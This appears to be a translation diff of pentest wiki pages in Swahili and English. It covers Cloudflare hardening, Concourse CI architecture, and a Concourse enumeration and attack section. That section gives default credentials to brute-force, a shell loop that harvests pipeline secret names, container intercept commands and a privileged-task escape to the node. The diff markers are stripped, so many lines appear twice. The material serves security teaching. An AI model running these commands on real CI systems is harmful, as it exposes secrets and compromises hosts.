- [ ] **Tofauti ya chini ya TLS inapaswa kuwa 1.2**
|
||||
- [ ] **TLS 1.3 inapaswa kuwa imewezeshwa**
|
||||
- [ ] **Automatic HTTPS Rewrites** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **Certificate Transparency Monitoring** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **Marekebisho ya kiotomatiki ya HTTPS** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **Ufuatiliaji wa Uwazi wa Cheti** inapaswa kuwa **imewezeshwa**
|
||||
|
||||
### **Security**
|
||||
### **Usalama**
|
||||
|
||||
- [ ] Katika sehemu ya **`WAF`** ni muhimu kuangalia kwamba **Firewall** na **kanuni za rate limiting zinatumika** kuzuia matumizi mabaya.
|
||||
- Kitendo cha **`Bypass`** kita **zima vipengele vya usalama vya Cloudflare** kwa ombi. Hakipaswi kutumika.
|
||||
- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna ukurasa wowote unatumika
|
||||
- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna API yoyote iliyofichuliwa kwenye Cloudflare
|
||||
- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **DDoS protections**
|
||||
- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa ukurasa wowote unatumika
|
||||
- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa API yoyote inafichuliwa kwenye Cloudflare
|
||||
- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **ulinzi wa DDoS**
|
||||
- [ ] Katika sehemu ya **`Settings`**:
|
||||
- [ ] Hakikisha kwamba **`Security Level`** ni **kati** au zaidi
|
||||
- [ ] Hakikisha kwamba **`Challenge Passage`** ni saa 1 kwa max
|
||||
- [ ] Hakikisha kwamba **`Browser Integrity Check`** ime **wezeshwa**
|
||||
- [ ] Hakikisha kwamba **`Privacy Pass Support`** ime **wezeshwa**
|
||||
- [ ] Angalia kwamba **`Security Level`** ni **kati** au zaidi
|
||||
- [ ] Angalia kwamba **`Challenge Passage`** ni saa 1 kwa max
|
||||
- [ ] Angalia kwamba **`Browser Integrity Check`** ime **wezeshwa**
|
||||
- [ ] Angalia kwamba **`Privacy Pass Support`** ime **wezeshwa**
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **Ulinzi wa DDoS wa CloudFlare**
|
||||
|
||||
- Ikiwa unaweza, wezesha **Bot Fight Mode** au **Super Bot Fight Mode**. Ikiwa unalinda API fulani inayopatikana kwa njia ya programu (kutoka ukurasa wa mbele wa JS kwa mfano). Huenda usiweze kuwezesha hii bila kuvunja ufikiaji huo.
|
||||
- Katika **WAF**: Unaweza kuunda **mipaka ya kiwango kwa njia ya URL** au kwa **bots zilizothibitishwa** (kanuni za rate limiting), au **kuzuia ufikiaji** kulingana na IP, Cookie, referrer...). Hivyo unaweza kuzuia maombi ambayo hayajatoka kwenye ukurasa wa wavuti au yana cookie.
|
||||
- Ikiwa shambulio linatoka kwa **bot iliyothibitishwa**, angalau **ongeza kiwango cha mipaka** kwa bots.
|
||||
- Ikiwa shambulio linahusiana na **njia maalum**, kama njia ya kuzuia, ongeza **mipaka ya kiwango** katika njia hii.
|
||||
- Unaweza pia **kuongeza kwenye orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF.
|
||||
- Angalia ikiwa **Managed rules** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu.
|
||||
- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **vifaa vya mtumiaji.**
|
||||
- Katika DDoS unaweza **kubadilisha baadhi ya kanuni ili kuzifanya kuwa za kukatisha tamaa zaidi**.
|
||||
- **Settings**: Weka **Security Level** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**.
|
||||
- Katika Cloudflare Domains -> Analytics -> Security -> Angalia ikiwa **rate limit** imewezeshwa
|
||||
- Katika Cloudflare Domains -> Security -> Events -> Angalia kwa **matukio mabaya yaliyogunduliwa**
|
||||
- Angalia ikiwa **Kanuni Zinazosimamiwa** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu.
|
||||
- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **wakala wa mtumiaji.**
|
||||
- Katika DDoS unaweza **kuzidisha baadhi ya kanuni ili kuzifanya kuwa kali zaidi**.
|
||||
- **Mipangilio**: Weka **Kiwango cha Usalama** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**.
|
||||
- Katika Cloudflare Domains -> Uchambuzi -> Usalama -> Angalia ikiwa **rate limit** imewezeshwa
|
||||
- Katika Cloudflare Domains -> Usalama -> Matukio -> Angalia kwa **matukio mabaya yaliyogunduliwa**
|
||||
|
||||
### Access
|
||||
### Ufikiaji
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### Kasi
|
||||
|
||||
_Sikuweza kupata chaguo lolote linalohusiana na usalama_
|
||||
|
||||
### Caching
|
||||
|
||||
- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **CSAM Scanning Tool**
|
||||
- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **Zana ya Skanning ya CSAM**
|
||||
|
||||
### **Workers Routes**
|
||||
### **Njia za Wafanyakazi**
|
||||
|
||||
_Unapaswa kuwa umeshakagua_ [_cloudflare workers_](./#workers)
|
||||
|
||||
### Rules
|
||||
### Kanuni
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### Mtandao
|
||||
|
||||
- [ ] Ikiwa **`HTTP/2`** ime **wezeshwa**, **`HTTP/2 to Origin`** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **`HTTP/3 (na QUIC)`** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] Ikiwa **faragha** ya **watumiaji** wako ni muhimu, hakikisha **`Onion Routing`** ime **wezeshwa**
|
||||
|
||||
### **Traffic**
|
||||
### **Mwanzo**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### Kurasa za Kawaida
|
||||
|
||||
- [ ] Ni hiari kuweka kurasa maalum wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio)
|
||||
- [ ] Ni hiari kuweka mipangilio ya kurasa za kawaida wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio)
|
||||
|
||||
### Apps
|
||||
### Mifumo
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Angalia **Email Address Obfuscation** ime **wezeshwa**
|
||||
- [ ] Angalia **Server-side Excludes** ime **wezeshwa**
|
||||
- [ ] Angalia **Uondoaji wa Anwani za Barua pepe** ume **wezeshwa**
|
||||
- [ ] Angalia **Kujumuisha kwa Seva** ume **wezeshwa**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ Katika akaunti ya **Cloudflare Zero Trust Network** kuna **mipangilio na huduma*
|
||||
### **Gateway**
|
||||
|
||||
- [ ] Katika **`Policies`** inawezekana kuunda sera za **kuzuia** kwa **DNS**, **mtandao** au **HTTP** ombi nani anaweza kufikia programu.
|
||||
- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti za uhalifu.
|
||||
- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti mbaya.
|
||||
- Hii ni **muhimu tu ikiwa gateway inatumika**, ikiwa sivyo, hakuna sababu ya kuunda sera za kujihami.
|
||||
|
||||
### Access
|
||||
@@ -24,16 +24,16 @@ Katika kila programu:
|
||||
|
||||
- [ ] Angalia **nani** anaweza kufikia programu katika **Policies** na hakikisha kwamba **tu** **watumiaji** ambao **wanahitaji ufikiaji** wa programu wanaweza kufikia.
|
||||
- Ili kuruhusu ufikiaji, **`Access Groups`** zitatumika (na **kanuni za ziada** zinaweza kuwekwa pia)
|
||||
- [ ] Angalia **watoa huduma za utambulisho** waliopo na hakikisha hawako **wazi sana**
|
||||
- [ ] Angalia **watoa kitambulisho** wanaopatikana na hakikisha hawako **wazi sana**
|
||||
- [ ] Katika **`Settings`**:
|
||||
- [ ] Angalia **CORS haijawashwa** (ikiwa imewashwa, angalia ni **salama** na hairuhusu kila kitu)
|
||||
- [ ] Cookies zinapaswa kuwa na sifa ya **Strict Same-Site**, **HTTP Only** na **binding cookie** inapaswa kuwa **imewashwa** ikiwa programu ni HTTP.
|
||||
- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu [**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu **[**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vime **kuzuia kwa usahihi** kwa watumiaji wanapaswa kuruhusu.
|
||||
- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha kawaida hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **kawaida** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**.
|
||||
- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vimewekwa **vizuri** kwa watumiaji wanapaswa kuruhusu.
|
||||
- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha default hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **default** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**.
|
||||
- Kumbuka kwamba inawezekana kutoa **ufikiaji** kwa **KILA MTU** na sera nyingine **wazi sana** ambazo hazipendekezwi isipokuwa ni muhimu 100%.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Taarifa za Msingi
|
||||
|
||||
Concourse inakuwezesha **kujenga mipango** ili kiotomatiki kufanikisha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...)
|
||||
Concourse inakuwezesha **kujenga mipango** ya kiotomatiki kuendesha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...)
|
||||
|
||||
## Muktadha wa Concourse
|
||||
|
||||
Jifunze jinsi mazingira ya concourse yalivyojengwa katika:
|
||||
|
||||
{{#ref}}
|
||||
muktadha-wa-concourse.md
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Maabara ya Concourse
|
||||
@@ -19,7 +19,7 @@ muktadha-wa-concourse.md
|
||||
Jifunze jinsi unavyoweza kuendesha mazingira ya concourse kwa ndani ili kufanya majaribio yako mwenyewe katika:
|
||||
|
||||
{{#ref}}
|
||||
uundaji-wa-maabara-ya-concourse.md
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Kuorodhesha & Kushambulia Concourse
|
||||
@@ -27,7 +27,7 @@ uundaji-wa-maabara-ya-concourse.md
|
||||
Jifunze jinsi unavyoweza kuorodhesha mazingira ya concourse na kuyatumia vibaya katika:
|
||||
|
||||
{{#ref}}
|
||||
kuorodhesha-na-kushambulia-concourse.md
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
[**Data muhimu kutoka kwa nyaraka za Concourse:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
@@ -12,15 +12,15 @@
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
|
||||
ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya pipeline. In **unganishwa na PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo kumbukumbu za ujenzi).
|
||||
ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya **pipeline**. In **connects to PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo logi za ujenzi).
|
||||
|
||||
Jukumu la [checker](https://concourse-ci.org/checker.html) ni kuangalia kwa muda wote toleo jipya la rasilimali. [scheduler](https://concourse-ci.org/scheduler.html) ina jukumu la kupanga ujenzi kwa kazi na [build tracker](https://concourse-ci.org/build-tracker.html) ina jukumu la kuendesha ujenzi wowote uliopangwa. [garbage collector](https://concourse-ci.org/garbage-collector.html) ni mekanizma ya kusafisha kwa kuondoa vitu vyovyote visivyotumika au vya zamani, kama vile kontena na volumes.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
|
||||
TSA ni **seva ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
TSA ni **server ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na iko nyuma ya balancer ya mzigo.
|
||||
TSA kwa **default inasikiliza kwenye bandari `2222`**, na kawaida inapatikana pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na kukaa nyuma ya balancer ya mzigo.
|
||||
|
||||
**TSA inatekeleza CLI kupitia muunganisho wa SSH,** ikisaidia [**amri hizi**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
@@ -28,8 +28,8 @@ TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja
|
||||
|
||||
Ili kutekeleza kazi, concourse lazima iwe na baadhi ya wafanyakazi. Wafanyakazi hawa **jiandikishe** kupitia [TSA](https://concourse-ci.org/internals.html#component-tsa) na kuendesha huduma [**Garden**](https://github.com/cloudfoundry-incubator/garden) na [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: Hii ni **Container Manage API**, mara nyingi inafanya kazi kwenye **bandari 7777** kupitia **HTTP**.
|
||||
- **Baggageclaim**: Hii ni **Volume Management API**, mara nyingi inafanya kazi kwenye **bandari 7788** kupitia **HTTP**.
|
||||
- **Garden**: Hii ni **Container Manage API**, kawaida inafanya kazi kwenye **bandari 7777** kupitia **HTTP**.
|
||||
- **Baggageclaim**: Hii ni **Volume Management API**, kawaida inafanya kazi kwenye **bandari 7788** kupitia **HTTP**.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -8,62 +8,62 @@
|
||||
|
||||
Concourse inakuja na majukumu matano:
|
||||
|
||||
- _Concourse_ **Admin**: Hii jukumu inatolewa tu kwa wamiliki wa **timu kuu** (timu ya mwanzo ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.
|
||||
- **mwenye**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**.
|
||||
- **mwanachama**: Wanachama wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu.
|
||||
- **mpangaji-mchakato**: Wapangaji-mchakato wanaweza kufanya **operesheni za mchakato** kama vile kuanzisha ujenzi na kuweka rasilimali, hata hivyo hawawezi kubadilisha mipangilio ya mchakato.
|
||||
- **mtazamaji**: Watazamaji wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mchakato zake.
|
||||
- _Concourse_ **Admin**: Hiki ni jukumu ambalo linatolewa tu kwa wamiliki wa **timu kuu** (timu ya mwanzo ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.
|
||||
- **owner**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**.
|
||||
- **member**: Wajumbe wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu.
|
||||
- **pipeline-operator**: Wafanya kazi wa pipeline wanaweza kufanya **operesheni za pipeline** kama vile kuanzisha ujenzi na kufunga rasilimali, hata hivyo hawawezi kuboresha mipangilio ya pipeline.
|
||||
- **viewer**: Waangalizi wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mipangilio yake.
|
||||
|
||||
> [!NOTE]
|
||||
> Zaidi ya hayo, **ruhusa za majukumu ya mwenye, mwanachama, mpangaji-mchakato na mtazamaji zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Zaidi ya hayo, **ruhusa za majukumu owner, member, pipeline-operator na viewer zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Kumbuka kwamba Concourse **inaunganisha mchakato ndani ya Timu**. Hivyo basi watumiaji wanaotokana na Timu wataweza kusimamia mchakato hizo na **Timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao.
|
||||
Kumbuka kwamba Concourse **inaunganisha mipangilio ndani ya Timu**. Hivyo basi watumiaji wanaotoka kwenye Timu wataweza kusimamia mipangilio hiyo na **timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Kutoka kwenye hati:](https://concourse-ci.org/vars.html#var-syntax) **source-name ni hiari**, na ikiwa imeachwa, [meneja wa akiba wa kiwango cha klasta](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) atatumika, au thamani inaweza kutolewa [kwa statiki](https://concourse-ci.org/vars.html#static-vars).\
|
||||
**_secret-field_** ya hiari inabainisha uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\
|
||||
Zaidi ya hayo, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacters maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaweka _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`.
|
||||
**_secret-field**\_ ya hiari inaelezea uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\
|
||||
Zaidi ya hayo, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacter maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaweka _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars zinaweza kubainishwa katika **hatua za kazi**:
|
||||
Static vars zinaweza kuainishwa katika **hatua za kazi**:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Or using the following `fly` **arguments**:
|
||||
Or kutumia `fly` **hoja** zifuatazo:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
- `-v` au `--var` `NAME=VALUE` inaweka string `VALUE` kama thamani ya var `NAME`.
|
||||
- `-y` au `--yaml-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya var `NAME`.
|
||||
- `-i` au `--instance-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya instance var `NAME`. Tazama [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) kujifunza zaidi kuhusu instance vars.
|
||||
- `-l` au `--load-vars-from` `FILE` inaweka `FILE`, hati ya YAML inayojumuisha majina ya var yanayohusishwa na thamani, na inaweka zote.
|
||||
|
||||
#### Usimamizi wa Akida
|
||||
|
||||
Kuna njia tofauti ambazo **Msimamizi wa Akida unaweza kufafanuliwa** katika pipeline, soma jinsi katika [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Zaidi ya hayo, Concourse inasaidia wasimamizi wa akida tofauti:
|
||||
Zaidi ya hayo, Concourse inasaidia wasimamizi tofauti wa akida:
|
||||
|
||||
- [Msimamizi wa akida wa Vault](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [Msimamizi wa akida wa CredHub](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [Msimamizi wa akida wa AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [Msimamizi wa akida wa AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Msimamizi wa Akida wa Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [Msimamizi wa akida wa Conjur](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Kuhifadhi akida](https://concourse-ci.org/creds-caching.html)
|
||||
- [Kuficha akida](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Kujaribu tena kufikia zilizoshindwa](https://concourse-ci.org/creds-retry-logic.html)
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ikiwa una aina fulani ya **ufikiaji wa kuandika kwa Concourse** unaweza kuunda kazi za **kuondoa siri hizo** kwani Concourse inahitaji kuwa na uwezo wa kuzifikia.
|
||||
|
||||
### Uhesabuji wa Concourse
|
||||
### Uainishaji wa Concourse
|
||||
|
||||
Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`.
|
||||
Ili kuainisha mazingira ya concourse unahitaji kwanza **kusanya akida halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`.
|
||||
|
||||
#### Ingia na Ujumbe wa Sasa
|
||||
#### Ingia na Uainishaji wa Mtumiaji wa Sasa
|
||||
|
||||
- Ili kuingia unahitaji kujua **kiungo**, **jina la timu** (kawaida ni `main`) na **timu ambayo mtumiaji anahusishwa nayo**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
@@ -71,7 +71,7 @@ Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au
|
||||
- `fly targets`
|
||||
- Pata ikiwa **kiungo kilichowekwa** bado ni **halali**:
|
||||
- `fly -t <target> status`
|
||||
- Pata **jukumu** la mtumiaji dhidi ya lengo lililoonyeshwa:
|
||||
- Pata **jukumu** la mtumiaji dhidi ya kiungo kilichotajwa:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
@@ -92,9 +92,9 @@ Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Pata** yaml ya pipeline (**taarifa nyeti** zinaweza kupatikana katika ufafanuzi):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Pata **mipangilio yote ya pipeline iliyotangazwa**
|
||||
- Pata **mipangilio yote ya vars** iliyotangazwa katika pipeline
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Pata majina yote ya **siri za pipelines zilizotumika** (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo):
|
||||
- Pata majina yote ya **siri za pipelines** zilizotumika (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -107,29 +107,29 @@ echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Containers & Workers
|
||||
#### Mkonzo & Wafanyakazi
|
||||
|
||||
- Orodha **workers**:
|
||||
- Orodha ya **wafanyakazi**:
|
||||
- `fly -t <target> workers`
|
||||
- Orodha **containers**:
|
||||
- Orodha ya **mkonzo**:
|
||||
- `fly -t <target> containers`
|
||||
- Orodha **builds** (kuona kinachoendelea):
|
||||
- Orodha ya **ujenzi** (kuona kinachoendelea):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
### Concourse Attacks
|
||||
### Mashambulizi ya Concourse
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Uthibitisho wa Brute-Force
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Usanidi wa siri na params
|
||||
#### Orodha ya siri na vigezo
|
||||
|
||||
Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vars** zinazotumiwa na pipeline. **Vars zinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa muhimu baadaye kujaribu kuiba** hizo.
|
||||
Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vigezo** vinavyotumika na pipeline. **Vigezo vinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa na manufaa baadaye kujaribu kuiba**.
|
||||
|
||||
#### Kikao ndani ya container inayokimbia au iliyokimbia hivi karibuni
|
||||
#### Kikao ndani ya mkonzo unaoendesha au ulioendesha hivi karibuni
|
||||
|
||||
Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuorodhesha pipelines na roles** na tu kupata **kikao ndani** ya `<pipeline>/<job>` **container** kwa kutumia:
|
||||
Ikiwa una ruhusa za kutosha (**nafasi ya mwanachama au zaidi**) utaweza **kuorodhesha pipelines na nafasi** na tu kupata **kikao ndani** ya `<pipeline>/<job>` **mkonzo** ukitumia:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
@@ -166,12 +166,12 @@ sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Kwa **mabadiliko/kuunda** pipeline mpya utaweza:
|
||||
Kwa **kubadilisha/kuunda** pipeline mpya utaweza:
|
||||
|
||||
- **Kuhujumu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`)
|
||||
- **Kuharibu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`)
|
||||
- **Kutoroka** hadi **node** (kwa kukupa ruhusa za kutosha - `privileged: true`)
|
||||
- Kuorodhesha/Kutumia **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node)
|
||||
- **Futa** pipeline iliyoundwa
|
||||
- **Kufuta** pipeline iliyoundwa
|
||||
|
||||
#### Teua Kazi Maalum
|
||||
|
||||
@@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Kutoroka kwenye node kutoka kwa kazi yenye mamlaka
|
||||
|
||||
